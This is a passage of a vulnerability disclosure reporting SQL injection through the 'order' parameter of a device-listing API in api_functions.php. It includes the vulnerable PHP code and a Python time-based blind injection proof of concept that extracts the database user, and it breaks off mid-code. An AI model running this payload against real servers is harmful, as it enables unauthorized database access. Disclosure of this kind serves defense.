Summary Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0 Details in file api_functions.php, line 307 for function list_devices “`php $order = $request->get('order'); $type = $request->get('type'); $query = $request->get('query'); $param = []; if (empty($order)) { $order = 'hostname'; } if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) { $order = 'd.`' . $order . '` ASC'; } /* … */ $devices = []; $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order"; foreach (dbFetchRows($dev_query, $param) as $device) { “` The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability. PoC For example. this PoC is get current db user “`python import string import requests headers = { 'X-Auth-Token': 'token_string' } req = requests.Session() payloads = '_-@.,' + string.digits + string.ascii_letters url = 'https://host/api/v0/devices?order=device_idand if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.device_id' result = 'user: ' for i in range(10): for payload in payloads: try: req.get(url % (i+1, ord(payload)), headers=headers, timeout=3) except…Read More